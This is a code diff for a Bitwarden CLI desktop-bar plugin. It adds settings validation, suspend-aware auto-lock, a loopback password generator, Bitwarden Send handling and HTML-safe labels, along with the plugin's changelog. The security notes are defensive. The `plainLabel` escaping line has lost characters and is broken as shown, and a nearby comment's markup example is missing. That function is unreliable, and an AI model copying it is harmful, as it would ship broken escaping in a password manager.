window or browser tab against your vault." } +] + +// Schema entries in group order, each tagged with whether it opens a new +// section, so the settings screen can draw one header per group. +function groupedSettings() { + var out = [] + for (var g = 0; g < SETTINGS_GROUPS.length; g++) { + var group = SETTINGS_GROUPS[g] + var first = true + for (var i = 0; i < SETTINGS_SCHEMA.length; i++) { + if (SETTINGS_SCHEMA[i].group !== group.id) continue + var entry = {} + for (var k in SETTINGS_SCHEMA[i]) entry[k] = SETTINGS_SCHEMA[i][k] + entry.groupLabel = first ? group.label : "" + out.push(entry) + first = false + } + } + return out +} + +// The settings the panel should actually draw. The SSH agent rows are held +// back behind the same probe that hides the SSH type filter: a toggle for a +// feature the installed `bw` cannot serve is worse than no toggle at all. +// +// A group heading is its own row rather than a label carried by the first +// setting under it. The panel walks this list with one index and reads +// delegate geometry off it to tell which section the view is inside, and a +// heading that belonged to another row would have neither a position of its +// own nor an entry to be found at. +function visibleSettings(deps, checked) { + var showSsh = sshUiAvailable(deps, checked) + var rows = groupedSettings().filter(function(entry) { + return showSsh || entry.group !== "sshAgent" + }) + + var out = [] + var seen = {} + for (var i = 0; i < rows.length; i++) { + var entry = rows[i] + if (!seen[entry.group]) { + seen[entry.group] = true + out.push({ + kind: "group", + group: entry.group, + label: groupLabelFor(entry.group) + }) + } + entry.kind = "setting" + // The label lived on the first row of each group. It has a row of its own + // now, and leaving the old field set would draw both. + entry.groupLabel = "" + // Marks where a group's settings end, so a section that has more to draw + // than its toggles -- the SSH agent's status and routing block -- can be + // attached to the end of the group it belongs to instead of trailing all + // the groups. + entry.lastInGroup = (i + 1 >= rows.length) || rows[i + 1].group !== entry.group + out.push(entry) + } + return out +} + +function groupLabelFor(id) { + for (var i = 0; i < SETTINGS_GROUPS.length; i++) { + if (SETTINGS_GROUPS[i].id === id) return SETTINGS_GROUPS[i].label + } + return "" +} + +function settingSchemaEntry(key) { + for (var i = 0; i < SETTINGS_SCHEMA.length; i++) { + if (SETTINGS_SCHEMA[i].key === key) return SETTINGS_SCHEMA[i] + } + return null +} + +// Every integer setting is read straight back out of shell.json, and nothing +// validates what goes in there. `omarchy bar set` stores whatever value it is +// handed -- a bare word becomes a JSON string, `--json` stores any number at +// all -- and the README documents editing the file by hand as well. The +// settings screen clamps to the schema on the way out; this is the same clamp +// on the way in, which is the direction that was missing. +// +// It matters most for the auto-lock, because QML turns a bad minute count into +// a dangerous one rather than an obvious one. `Number("fifteen")` is NaN, and +// NaN assigned to an `int` property is 0 -- which is exactly how "never lock" +// is spelled. A count past the schema's ceiling fails the same way from the +// other end: 999999 minutes is 59,999,940,000 ms, which overflows the `int` +// behind Timer.interval and lands negative, and a Timer with a negative +// interval never fires. Both readings leave a vault that never locks itself, +// silently, so an unreadable value falls back to the schema's default rather +// than to zero. +function intSetting(key, raw) { + // Number() is too generous to be the whole test here: it reads null, "" and + // false as 0, and 0 is a meaningful setting rather than a missing one. Only + // something that was written as a number, or as the decimal string that + // `omarchy bar set` writes without --json, counts as a value at all. + var n = (typeof raw === "number" || (typeof raw === "string" && String(raw).trim() !== "")) + ? Math.floor(Number(raw)) + : NaN + var entry = settingSchemaEntry(key) + if (!entry || entry.type !== "int") return isFinite(n) ? n : 0 + // Below the floor is treated as unreadable rather than clamped up to it, + // because on every integer setting here the floor is also the sentinel for + // "off": clamping -1 minutes to 0 spells "never lock" and clamping -1 + // seconds to 0 spells "never clear the clipboard". That is the same silent + // failure this function exists to refuse, arrived at from the other side. + // Past the ceiling still clamps down, since that direction only ever locks + // sooner than asked. + if (!isFinite(n) || n < entry.min) n = Math.floor(Number(entry.defaultValue)) + if (!isFinite(n)) n = entry.min + return Math.max(entry.min, Math.min(entry.max, n)) +} + +// shell.json is external input. Only a JSON boolean may enable a boolean +// setting; strings such as "false" are truthy in JavaScript and previously +// enabled opt-in PIN/fingerprint storage when the file was malformed. +function boolSetting(key, raw) { + if (typeof raw === "boolean") return raw + var entry = settingSchemaEntry(key) + if (!entry || entry.type !== "bool") return false + return entry.defaultValue === true +} + +function settingWriteCommand(key, value, type) { + var raw + if (type === "bool") raw = value ? "true" : "false" + // `omarchy bar set --json` stores whatever JSON it is handed, which is how a + // per-account map reaches shell.json. Only the value's own shape travels + // here; nothing secret is ever a setting. + else if (type === "json") raw = JSON.stringify(value === undefined ? null : value) + else raw = String(Number(value) || 0) + var script = "omarchy bar set io.github.elevate08.qs-bitwarden-cli " + + shellQuote(String(key)) + " " + shellQuote(raw) + " --json | head -c " + MAX_MISC_BYTES + return ["bash", "-c", cappedScript(script, MAX_STDERR_BYTES)] +} + +// ------------------------------------------------------------------------- +// Auto-lock +// ------------------------------------------------------------------------- +// +// Qt schedules every Timer on CLOCK_MONOTONIC, and Linux stops that clock +// while the machine is suspended -- CLOCK_BOOTTIME on a laptop that has slept +// overnight runs hours ahead of it. So a fifteen-minute auto-lock armed just +// before the lid closed still had its full fifteen minutes to run when the lid +// opened, and a vault left unattended all night came back to the desk exactly +// as open as it was left. The countdown was only ever measuring the time the +// shell was awake for, which is not the time the vault was exposed for. +// +// Only the wall clock knows about the part in between, so the deadline is kept +// in wall-clock terms as well and polled. The monotonic Timer stays: it is the +// one that is immune to the clock being stepped, and between the two it is +// whichever notices first that does the locking. +var AUTO_LOCK_POLL_MS = 30000 + +// Poll often enough that waking a suspended machine locks the vault in seconds +// rather than minutes, but never longer than the window itself -- a one-minute +// auto-lock must not be checked every thirty seconds and nothing shorter than +// a second is worth waking up for. +function autoLockPollMs(minutes) { + var m = Math.floor(Number(minutes)) + if (!isFinite(m) || m <= 0) return AUTO_LOCK_POLL_MS + return Math.max(1000, Math.min(m * 60 * 1000, AUTO_LOCK_POLL_MS)) +} + +// `armedAt` and `now` are both Date.now(). Zero minutes is the user asking for +// no auto-lock at all, and an unarmed window has no deadline to have passed, +// so both answer false rather than "lock immediately". +function autoLockExpired(armedAt, minutes, now) { + var m = Math.floor(Number(minutes)) + if (!isFinite(m) || m <= 0) return false + var start = Number(armedAt) + var at = Number(now) + if (!isFinite(start) || start <= 0 || !isFinite(at)) return false + return (at - start) >= m * 60 * 1000 +} + +// ------------------------------------------------------------------------- +// Password / Passphrase Generator +// ------------------------------------------------------------------------- +// +// Mirrors the option set of the Bitwarden browser extension's generator and +// delegates the actual generation to `bw generate`, so the output comes from +// Bitwarden's own generator rather than a reimplementation of it. + +var GENERATOR_DEFAULTS = { + type: "password", // "password" | "passphrase" + length: 14, + uppercase: true, + lowercase: true, + numbers: true, + special: false, + minNumber: 1, + minSpecial: 1, + ambiguous: false, // true = avoid ambiguous characters + words: 3, + separator: "-", + capitalize: false, + includeNumber: false +} + +var GENERATOR_LIMITS = { + length: { min: 5, max: 128 }, + words: { min: 3, max: 20 }, + minNumber: { min: 0, max: 9 }, + minSpecial: { min: 0, max: 9 } +} + +function generatorDefaults() { + var out = {} + for (var k in GENERATOR_DEFAULTS) out[k] = GENERATOR_DEFAULTS[k] + return out +} + +function clampInt(value, limit) { + var n = Math.floor(Number(value)) + if (isNaN(n)) n = limit.min + return Math.max(limit.min, Math.min(limit.max, n)) +} + +// At least one character set must be on, or `bw generate` errors out. Falling +// back to lowercase keeps the control usable while the user toggles the rest. +function normalizeGeneratorOptions(opts) { + var o = generatorDefaults() + for (var k in opts) if (opts[k] !== undefined) o[k] = opts[k] + + o.length = clampInt(o.length, GENERATOR_LIMITS.length) + o.words = clampInt(o.words, GENERATOR_LIMITS.words) + o.minNumber = clampInt(o.minNumber, GENERATOR_LIMITS.minNumber) + o.minSpecial = clampInt(o.minSpecial, GENERATOR_LIMITS.minSpecial) + + if (!o.uppercase && !o.lowercase && !o.numbers && !o.special) o.lowercase = true + if (!o.numbers) o.minNumber = 0 + if (!o.special) o.minSpecial = 0 + + // Asking for more required characters than there is room for cannot be met. + var required = (o.numbers ? o.minNumber : 0) + (o.special ? o.minSpecial : 0) + if (required > o.length) o.length = Math.min(GENERATOR_LIMITS.length.max, required) + + if (!o.separator) o.separator = "-" + return o +} + +// ------------------------------------------------------------------------- +// Generator over `bw serve` +// ------------------------------------------------------------------------- +// +// `bw generate` costs ~2.9s on this machine, and none of it is generation: +// ~0.9s is the CLI's Node bootstrap and ~2s is Bitwarden's service container +// coming up, all of it repaid on every option toggle. `bw serve` pays that +// once and answers /generate in ~2ms. +// +// The served instance is deliberately started with **no session**, so it is a +// locked vault that can generate passwords and nothing else -- /list and the +// rest return errors. That matters: a loopback port has no authentication and +// is reachable by every user on the machine, so an unlocked `bw serve` would +// hand the whole vault to anyone who could curl it. A locked one exposes the +// generator, which is not a secret. Vault reads stay on the CLI, where the +// session key is ours alone. +var GENERATE_HOST = "127.0.0.1" +var GENERATE_PORT = 8087 + +// Started as a managed child so it dies with the shell rather than lingering. +// BW_SESSION is cleared by the caller; see generatorServeEnv() in Panel.qml. +function generateServeCommand() { + return ["bw", "serve", "--hostname", GENERATE_HOST, "--port", String(GENERATE_PORT)] +} + +// Whether whatever answered the generator port is someone else's server. +// +// A refused connection arrives as status 0, and that is the only answer that +// leaves the port free for ours. Any HTTP status at all -- including the error +// codes a careless squatter returns -- came from a process already bound to it, +// and a "generated password" from a stranger's server is a password they know. +function generatorPortIsForeign(status) { + return Number(status) !== 0 +} + +// ------------------------------------------------------------------------- +// Generator request bounds +// ------------------------------------------------------------------------- +// +// Refusing to trust a squatter's password is only half of it. The port is +// loopback, unauthenticated and first-come. A process holding 8087 that accepts +// the connection and answers nothing could stall indefinitely, and a squatter +// could stream an endless body at loopback speeds. +// +// To enforce hard limits on both duration and volume, every request to bw serve +// is executed via a managed curl child process whose output is bounded on the +// producer side with `| head -c` and `--max-time`. This avoids Qt/QML's +// XMLHttpRequest, which buffers responses directly into the shared shell +// process memory before JavaScript can inspect or abort them. +var GENERATE_RESPONSE_CAP = 64 * 1024 +var GENERATE_REQUEST_TIMEOUT_MS = 2000 + +function generatorResponseCap() { return GENERATE_RESPONSE_CAP } +function generatorRequestTimeoutMs() { return GENERATE_REQUEST_TIMEOUT_MS } + +// Builds a producer-bounded command to query the generator server. +// Output is capped via `head -c` so no more than GENERATE_RESPONSE_CAP bytes +// can pass through the pipe into the shell process heap. +function generateServeRequestCommand(opts) { + var url = generateServeUrl(opts) + var timeoutSecs = Math.max(1, Math.round(GENERATE_REQUEST_TIMEOUT_MS / 1000)) + // -q must be curl's first option to suppress ~/.curlrc. --noproxy makes the + // loopback guarantee independent of HTTP_PROXY/ALL_PROXY in the shell. + var script = "curl -q -s -S --noproxy '*' --max-time " + timeoutSecs + " --connect-timeout " + timeoutSecs + + " " + shellQuote(url) + " | head -c " + Number(GENERATE_RESPONSE_CAP) + return ["bash", "-c", cappedScript(script, MAX_STDERR_BYTES)] +} + +// Both the declared length and what has actually arrived are checked. A +// chunked response declares nothing at all, and a declared length is the +// sender's word for it either way. +function generatorResponseTooLarge(contentLength, received) { + var declared = Number(contentLength) + if (isFinite(declared) && declared > GENERATE_RESPONSE_CAP) return true + return Number(received) > GENERATE_RESPONSE_CAP +} + +// What a finished probe means. +// +// When checking via a curl process: exit code 7 (CURLE_COULDNT_CONNECT) with +// empty output is the only outcome that proves the port was silent and free +// for our own server. Exit code 0 means another server answered; exit code 28 +// means a connection timed out; exit code 23/141 means an oversized stream was +// cut short. All of those mean another process was bound to the port. +// +// When called with (status, aborted): status 0 is a refused connection (free), +// while non-zero status or an aborted request means the port is occupied. +function generatorProbeIsForeign(statusOrExitCode, abortedOrStdout) { + if (typeof abortedOrStdout === "boolean") { + if (abortedOrStdout) return true + return generatorPortIsForeign(statusOrExitCode) + } + var code = Number(statusOrExitCode) + var out = String(abortedOrStdout || "").trim() + if (code === 7 && out === "") return false + return true +} + +// What to do when our own `bw serve` exits. +// +// The distinction that matters is between a shutdown we asked for and one we +// did not. A server that dies on its own never bound, or died trying, and our +// bind failing is exactly what a squatted port looks like from here -- so a +// value the ready-poll already accepted may never have come from us at all and +// cannot be left on screen to be copied into the vault. +function generatorServeExitAction(state) { + var st = state || {} + if (st.stopping) return { giveUp: false, dropValue: false, useCli: false } + var strandedValue = !!st.wasReady + return { + giveUp: true, + dropValue: strandedValue, + useCli: (strandedValue || !!st.busy) && !!st.onGeneratorScreen + } +} + +// The serve API takes the same options as the CLI flags, as query parameters. +function generateServeUrl(opts) { + var o = normalizeGeneratorOptions(opts) + var q = [] + + if (o.type === "passphrase") { + q.push("passphrase=true") + q.push("words=" + encodeURIComponent(String(o.words))) + q.push("separator=" + encodeURIComponent(String(o.separator))) + if (o.capitalize) q.push("capitalize=true") + if (o.includeNumber) q.push("includeNumber=true") + } else { + if (o.uppercase) q.push("uppercase=true") + if (o.lowercase) q.push("lowercase=true") + if (o.numbers) q.push("number=true") + if (o.special) q.push("special=true") + q.push("length=" + encodeURIComponent(String(o.length))) + if (o.numbers) q.push("minNumber=" + encodeURIComponent(String(o.minNumber))) + if (o.special) q.push("minSpecial=" + encodeURIComponent(String(o.minSpecial))) + if (o.ambiguous) q.push("ambiguous=true") + } + + return "http://" + GENERATE_HOST + ":" + GENERATE_PORT + "/generate?" + q.join("&") +} + +// { success: true, data: { data: "" } } on the way out. +function parseServeGenerated(raw) { + var parsed = null + try { + parsed = JSON.parse(raw) + } catch (e) { + return "" + } + if (!parsed || parsed.success !== true || !parsed.data) return "" + return String(parsed.data.data || "") +} + +function generateCommand(opts) { + var o = normalizeGeneratorOptions(opts) + var args = ["generate"] + + if (o.type === "passphrase") { + args.push("--passphrase", "--words", String(o.words), "--separator", String(o.separator)) + if (o.capitalize) args.push("--capitalize") + if (o.includeNumber) args.push("--includeNumber") + return buildCappedCommand(args, MAX_TOKEN_BYTES) + } + + if (o.uppercase) args.push("--uppercase") + if (o.lowercase) args.push("--lowercase") + if (o.numbers) args.push("--number") + if (o.special) args.push("--special") + args.push("--length", String(o.length)) + if (o.numbers) args.push("--minNumber", String(o.minNumber)) + if (o.special) args.push("--minSpecial", String(o.minSpecial)) + if (o.ambiguous) args.push("--ambiguous") + + return buildCappedCommand(args, MAX_TOKEN_BYTES) +} + +function generatorEntropyBits(options) { + if (options.type === "passphrase") { + // EFF-style wordlist, ~12.9 bits per word. + return options.words * 12.9 + (options.includeNumber ? 3.3 : 0) + } + + var pool = 0 + if (options.uppercase) pool += 26 + if (options.lowercase) pool += 26 + if (options.numbers) pool += 10 + if (options.special) pool += 26 + if (options.ambiguous) pool -= 6 + return options.length * (Math.log(Math.max(pool, 2)) / Math.log(2)) +} + +function generatorStrengthLabel(bits) { + if (bits >= 120) return "Excellent" + if (bits >= 90) return "Strong" + if (bits >= 60) return "Good" + if (bits >= 40) return "Fair" + return "Weak" +} + +// Rough strength read for the meter. Deliberately simple: it describes the +// search space the options imply, not the specific string produced. +function generatorStrength(opts) { + var bits = generatorEntropyBits(normalizeGeneratorOptions(opts)) + return { + bits: Math.round(bits), + label: generatorStrengthLabel(bits), + fraction: Math.max(0, Math.min(1, bits / 128)) + } +} + +// ------------------------------------------------------------------------- +// Bitwarden Send +// ------------------------------------------------------------------------- +// +// Field names below are taken from a real `bw send --fullObject` response +// rather than guessed: accessUrl carries the shareable link, passwordSet is a +// boolean rather than the password itself, and type is 0 for text, 1 for file. + +var SEND_TYPE_TEXT = 0 +var SEND_TYPE_FILE = 1 + +function listSendsCommand() { + return buildCappedCommand(["send", "list"], MAX_SENDS_BYTES) +} + +function deleteSendCommand(sendId) { + return buildCappedCommand(["send", "delete", "--", String(sendId)], MAX_MISC_BYTES) +} + +// The payload travels in the environment, not argv. Both the flag form's +// --password and an inlined `printf %s ''` would land the Send password +// in /proc//cmdline, which other users can read. +var SEND_ENV = "QSBW_SEND" + +function sendEnvVar() { + return SEND_ENV +} + +function createSendCommand() { + var script = "printf '%s' \"$" + SEND_ENV + "\" | " + ENCODE_CMD + " | bw send create | head -c " + MAX_MISC_BYTES + return ["bash", "-c", cappedScript(script, MAX_STDERR_BYTES)] +} + +function buildSendPayload(name, text, hidden, deleteInDays, maxAccessCount, password, notes) { + var days = Math.max(1, Math.min(31, Number(deleteInDays) || 7)) + var deletion = new Date(Date.now() + days * 24 * 60 * 60 * 1000).toISOString() + + var max = Number(maxAccessCount) + var payload = { + object: "send", + name: String(name || "").trim() || "Untitled Send", + notes: notes && String(notes).trim() ? String(notes).trim() : null, + type: SEND_TYPE_TEXT, + text: { text: String(text || ""), hidden: Boolean(hidden) }, + file: null, + maxAccessCount: (max > 0) ? max : null, + deletionDate: deletion, + expirationDate: null, + password: password && String(password).length ? String(password) : null, + emails: null, + disabled: false, + hideEmail: false + } + return payload +} + +function parseSends(raw) { + var arr = parseJsonArray(raw) + var out = [] + for (var i = 0; i < arr.length; i++) { + var s = arr[i] + if (!s || typeof s !== "object") continue + out.push({ + id: String(s.id || ""), + name: String(s.name || "Untitled Send"), + type: Number(s.type || 0), + isFile: Number(s.type) === SEND_TYPE_FILE, + accessUrl: String(s.accessUrl || ""), + accessCount: Number(s.accessCount || 0), + maxAccessCount: (s.maxAccessCount === null || s.maxAccessCount === undefined) ? null : Number(s.maxAccessCount), + deletionDate: String(s.deletionDate || ""), + expirationDate: s.expirationDate ? String(s.expirationDate) : "", + passwordSet: Boolean(s.passwordSet), + disabled: Boolean(s.disabled), + notes: s.notes ? String(s.notes) : "", + textPreview: (s.text && s.text.text) ? String(s.text.text) : "", + textHidden: Boolean(s.text && s.text.hidden), + fileName: (s.file && s.file.fileName) ? String(s.file.fileName) : "" + }) + } + + out.sort(function(a, b) { + return String(a.deletionDate).localeCompare(String(b.deletionDate)) + }) + return out +} + +// "in 3 days" / "in 5 hours" / "expired" -- a Send's whole point is that it +// goes away, so the countdown matters more than the timestamp. +function sendExpiryLabel(send, now) { + if (!send || !send.deletionDate) return "" + var target = Date.parse(send.deletionDate) + if (isNaN(target)) return "" + + var ms = target - (now || Date.now()) + if (ms <= 0) return "expired" + + var mins = Math.floor(ms / 60000) + if (mins < 60) return "in " + mins + (mins === 1 ? " minute" : " minutes") + var hours = Math.floor(mins / 60) + if (hours < 24) return "in " + hours + (hours === 1 ? " hour" : " hours") + var days = Math.floor(hours / 24) + return "in " + days + (days === 1 ? " day" : " days") +} + +function sendAccessLabel(send) { + if (!send) return "" + if (send.maxAccessCount === null) return send.accessCount + " views" + return send.accessCount + " of " + send.maxAccessCount + " views" +} + +// --------------------------------------------------------------------------- +// Rendering vault text safely +// --------------------------------------------------------------------------- + +// Qt's Text -- and every control built on one -- defaults to Text.AutoText, +// which sniffs the string and renders it as HTML the moment it looks like +// markup. Every Text this plugin owns pins `textFormat: Text.PlainText`, but +// the shared kit controls (Ui.Button's label and tooltip) build their own Text +// internally and expose no way to set the format, so a folder named +// "" would be parsed as markup in a credential UI. +// +// So neutralize the string before it is handed over. A value with no "<" and +// no "&" cannot trip Qt's sniffer and passes through untouched -- which is +// nearly everything. Anything else is HTML-escaped and wrapped in a : +// the escape means no character can be read as a tag, and the wrapper forces +// the rich-text path deterministically so those entities are decoded back to +// the literal characters the vault holds instead of being shown raw. The +// white-space rule keeps the spacing plain text would have given. +function plainLabel(value) { + var text = (value === undefined || value === null) ? "" : String(value) + if (text.indexOf("<") < 0 && text.indexOf("&") < 0) return text + return "" + + text.replace(/&/g, "&").replace(//g, ">") + + "" +} + +// A vault value is any length the user typed, and Ui.Button sizes itself to +// its label with no elide of its own -- so a folder named after a whole client +// engagement makes one button wider than the panel, which a wrapping row +// cannot rescue because it can only move a control to the next line, never +// shrink one. Clip the value first, so the widest a button can get is bounded +// by us rather than by the vault. +// +// Characters rather than pixels: the shell's font is `monospace` by default, +// so a count is a width, and a clip that reads the font would have to run in +// QML where it cannot be tested. The ellipsis is inside the budget, so `max` +// is the true ceiling. +// +// Runs BEFORE plainLabel(). Afterwards the string may be wrapped in a , +// and slicing that would cut a tag in half and hand markup to the control. +function clipLabel(value, max) { + var text = (value === undefined || value === null) ? "" : String(value) + var limit = Math.max(1, Math.floor(Number(max) || 0)) + if (text.length <= limit) return text + if (limit <= 3) return text.slice(0, limit) + return text.slice(0, limit - 3) + "..." +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/CHANGELOG.md b/plugins/io.github.elevate08.qs-bitwarden-cli/CHANGELOG.md new file mode 100644 index 0000000..be5c0c8 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/CHANGELOG.md @@ -0,0 +1,162 @@ +# Changelog + +## [1.8.1] - 2026-09-05 + +### Added + +- **Colorized menu-bar icon.** The primary Bitwarden shield can follow the + active Omarchy theme accent, while locked, setup and urgent indicators keep + their status colors. + +### Fixed + +- **The panel-open underline stays centered under the shield.** The custom + glyph now preserves fractional positioning at non-integer display scales, + while the indicator keeps Omarchy's standard width. +- **The shield no longer renders with coloured edges.** The glyph was drawn + through a different text renderer than the rest of the bar, which left + saturated blue and gold along its edges -- visible against every theme, and + on no other icon. It now uses the renderer Omarchy uses everywhere else. The + centering above is unaffected: both renderers place the painted center on the + same pixel at fractional scales. + +## [1.7.1] - 2026-09-04 + +### Fixed + +- **A button could be laid out past the edge of the panel and vanish.** Opening an item while the panel recognised the active window added a fourth button -- **Suggested here** -- to the detail header, and that header was a `Row`: a positioner that can neither shrink a control nor start a second line, so the fourth pushed **Delete** off the panel entirely. It went only once the suggestion was pinned, because "Suggested here" is one character wider than "Suggest here", and that character was the one that overflowed. The header wraps now rather than overflowing, and **Back to list (Esc)** is **Back (Esc)** -- what the Sends screen already called it, and enough on its own to keep all four on one line. +- **The folder, organization and type filters had the same fault and worse odds.** Their labels carry vault names of no fixed length, and the row is centred, so a long folder or organization name spilled off both edges at once -- and it did not take an unusual name: *Unfiled / Personal / Favorites* was already over. The row wraps too, and stays centred while the three fit a line. A name past twenty characters is clipped, with the whole of it still in the tooltip: a wrapping row can move a button to the next line but can never make one narrower than the panel, so the clip is the only thing that bounds a single button. +- The SSH agent's client-routing buttons in Settings could overflow the same way, if the four that share that row were ever shown together. +- **Seven spacers meant to push a control to the right-hand edge were doing nothing at all.** `Item { Layout.fillWidth: true }` is a QtQuick.Layouts instruction, and these sat inside plain `Row`s, which ignore it -- so each laid out at zero width and the control after it stopped short. The countdown beside **VERIFICATION CODE (TOTP)** sat against the heading instead of at the margin, and so did the controls beside **ATTACHMENTS**, **NOTES** and **PASSWORD**. Those rows are `RowLayout`s now, which is what the spacers were written for. + +## [1.7.0] - 2026-09-03 + +### Added + +- **Centered SSH approval popup** (`sshAgentApprovalPopup`, on by default). Shows SSH unlock and signing requests in a transient card centered on the active screen instead of opening the full Bitwarden panel. Users who prefer prompts in the anchored panel can disable the popup in Settings or config. If the vault is locked, the card presents configured unlock options (PIN, fingerprint, or master password) before transitioning to the signing approval once unlocked. Escape or clicking outside the card denies the request, and initial focus defaults to Deny. +- **Concurrent SSH request queueing**. Multiple simultaneous SSH requests are sequentially queued in order (up to 4 deep, matching helper capacity) instead of dropping or overwriting in-flight prompts. The approval screen surfaces a `1 of N` queue counter, advances to the next request upon approval or denial, offers a `Deny all (N)` action (`Shift+Escape` in the popup), and automatically purges requests when clients cancel or time out. +- **Card and identity items are fully supported.** Both were already listed and filterable, but opening one showed its name and nothing else -- the fields were parsed and then discarded. A card now shows its cardholder, brand, number, expiry and security code, with the number and code masked until revealed, each independently of the other; an identity shows its name, username, company, email, phone, its SSN, passport and licence numbers, and its address as one copyable block. Empty fields are not drawn, so a sparsely filled identity stays short. Both types can now be created and edited as well as read. +- Cards and identities are searchable by whatever the list shows them as: a card by brand, cardholder or last four digits, an identity by name, email, username or company. Deliberately not by the middle of a card number. +- Detail shortcuts cover the new types. `y` copies what an item is for -- the password on a login, the number on a card -- while `n` and `k` reach a card's number and security code directly, and `u` and `c` split into username and email on an identity. + +### Changed + +- **The settings screen is organised into sections.** It had grown into one undifferentiated scroll of fourteen settings, the SSH agent status block and a row of action buttons. The settings are now grouped under **General**, **Security** and **SSH Agent** headings, with Behavior and Suggestions -- one and two rows each -- merged into General, and the SSH agent's status and client-routing block moved inside the section it describes rather than trailing every group. +- **The section you are reading is named above the scroll area, and stays there as you scroll.** Its own heading in the list yields to it, so nothing is drawn twice, and it clears once you scroll past the last section into the maintenance rows. **Back (Esc)** is pinned alongside it on the right, instead of scrolling out of reach with everything else. +- Scrollbars have a lane of their own throughout the panel rather than floating over the right edge of the content. They were overlays drawn on top of whatever was under them -- toggles and number fields on the settings screen, copy buttons on an item, the ends of elided names in the vault list. Every scrolling view now reserves the same width, so nothing is covered and the right-hand edges line up from screen to screen. +- **Destructive actions have their own section.** **Remove Plugin Data** sat in a row visually identical to **Dependencies**, so the button that clears your keyring entries looked exactly as safe to press as the one that opens a checklist. The action buttons are now split under **MAINTENANCE** and a separated **DANGER ZONE**. + +### Fixed + +- **Deleting an item no longer holds the panel either.** It cost the same second or two of `bw`, spent on a frozen detail screen, and then re-read the whole vault to learn about the one row that had gone. The row goes immediately and the panel comes back; if the vault refuses, the row returns with the reason. +- **Enter saves the item form**, from any field, so a long item does not have to be scrolled to the bottom to be committed. Not while a folder, organization or collection picker is open, where Enter belongs to the list being picked from. +- **The panel scrolls at its own rate.** Qt moves a view by the platform's wheel-scroll-lines, which suits a full-screen document and crawls in a panel a few hundred pixels tall. Every scrolling view in the panel now moves about twice as far per notch, and all of them at the same rate. +- **Saving no longer holds the panel.** A save costs whatever `bw` costs -- a second or two of CLI startup, vault decryption and a round trip, none of which this plugin can shorten -- and it used to spend all of it on a frozen form. The form now closes as soon as the command is launched and the list shows the item as it will be, its icon replaced by a spinner until the vault answers, at which point the authoritative version takes its place. An item still being saved cannot be edited or deleted, and a second save waits for the first. If the vault refuses one, the list goes straight back to what the vault actually holds and the message offers to reopen what you typed rather than costing you the edit. +- **Saving an item no longer re-reads the whole vault.** A save was followed by re-listing and re-decrypting every item in order to learn about the one just written. `bw create item` and `bw edit item` both print the item the vault now holds, so the list is brought up to date from that instead. The saved response is a complete decrypted cipher, so it passes through the same strict-JSON and allowlisting stages the item list does before anything reaches the panel; if either stage fails, or the envelope is not one the filter produced, the panel falls back to the full reload rather than showing a list that disagrees with the vault. A save that succeeded is never reported as a failure because a later stage did. +- **Saving an item is about 2.7 seconds faster.** Every save, folder creation and Send piped its payload through `bw encode`, which base64-encodes stdin and does nothing else -- no vault, no session, no network -- for the price of a full Bitwarden CLI startup. `base64` from coreutils produces byte-identical output in about two milliseconds. The payload still travels in the environment and is still piped rather than interpolated, so nothing about where a password lives has changed. +- Enter on a list row now opens items that have nothing to copy. It still copies the password on a login, and still arms the TOTP follow-up; but on a card, an identity, a note, an SSH key, or a login saved without a password it opens the item instead of doing nothing at all. Enter on the detail screen copies the primary secret -- the password on a login, the number on a card -- which the "Copy password (y / Enter)" tooltip had been promising all along without anything implementing it. +- Transient status and error messages now float at the bottom of the panel instead of changing its measured height, so updates such as a successful unlock no longer shift the active screen down and back up. Errors use the same compact notice surface and can be dismissed in place. + +## [1.6.0] - 2026-08-31 + +### Added + +- **Server region** on the login screen: **US** (the default), **EU**, or **Custom**. EU points the CLI at `https://vault.bitwarden.eu`; Custom reveals the server URL field for self-hosted Bitwarden and Vaultwarden. The choice applies to email/password, API key and the interactive terminal login alike, so an EU account no longer has to be told its own server's address. Refs #6. + +### Changed + +- Dependabot proposes lockfile-only cargo updates, so a bump moves `agent/Cargo.lock` within the bounds `agent/Cargo.toml` already allows and never raises a floor on its own. The crypto crates are coupled -- `ssh-key`, `rsa` and the traits they re-export have to move together or cargo resolves two generations side by side and nothing compiles -- and README's **Dependencies** section records why that upgrade is a manual, all-at-once edit, along with the binary rebuild every accepted bump needs. + +## [1.5.0] - 2026-08-31 + +Opt-in SSH agent. Implements #1. + +### Added + +- **SSH agent** (`sshAgentEnabled`, off by default). Serves the SSH keys in your vault to `ssh`, Git and `ssh-keygen -Y sign` while the vault is unlocked. Ed25519 and RSA SHA-2, over a socket in `$XDG_RUNTIME_DIR` that only your own UID may use. Private keys live in a separate helper process, never on disk and never in QML, and are dropped on lock, logout and exit. +- **Every signature is approved in the panel**, which names the key, its fingerprint and the program asking. One approval can cover further signatures from the same program and key for `sshAgentApprovalWindowSec` seconds (default 120), so a twenty-commit rebase is one prompt. Live approvals are listed with the time they have left and can be revoked. +- **A cooldown after two unanswered prompts**, five minutes, during which signing is refused without reopening the panel. A banner says so and counts down; **Resume Signing Now** ends it early. +- **Public keys are projected** to `~/.local/share/qs-bitwarden-cli/ssh/*.pub`, public material only, so Git SSH signing has the file paths it requires. +- **Client routing** through one plugin-owned UWSM fragment, written when the agent is enabled and removed when it is disabled, taking effect at the next login. An agent that already owns `SSH_AUTH_SOCK` is named and confirmed before it is replaced; a file this plugin did not write is reported and left alone. +- **`sshAgentUnlockOnDemand`** (off by default) lets an identity listing raise the unlock prompt when the vault is locked with no keys loaded. Signing a key the helper already holds always prompts, with or without it. +- **Remove Plugin Data** on the settings screen clears the keyring entries, learned suggestions and exported public keys in one confirmed action. Your vault is untouched. +- **`sshAgentStatus` diagnostics**: which helper is running, whether its checksum matched, and what the panel believes about client routing. +- The helper ships as a **reproducibly built, checksum-validated binary**, with releases carrying a GitHub build-provenance attestation, an SBOM and a dependency report. Any validation failure disables SSH support alone and leaves the rest of the plugin working; a locally built helper is used as a fallback and says so on a banner. + +### Security + +- The vault read is split before it reaches the panel: SSH private material goes to the helper over a private FIFO carrying a per-load nonce, and QML receives a sanitized list with it removed. +- A signature is refused unless the vault is unlocked at the epoch its key was loaded under, so a lock racing a load, an approval or a signature cannot leave a key usable. +- Agent forwarding is not supported in this release; a forwarded request is labelled as such in the prompt, because the process it names is not the one that would use the signature. +- `ecdsa` keys are not supported. + +## [1.4.1] - 2026-08-31 + +### Fixed + +- The password generator, both Copy password buttons, the generator's Password type and the field-level **Generate...** shortcut wear a key icon again. 1.4.0 replaced all five with the refresh icon: a bulk glyph edit meant to correct one new button rewrote every other use of 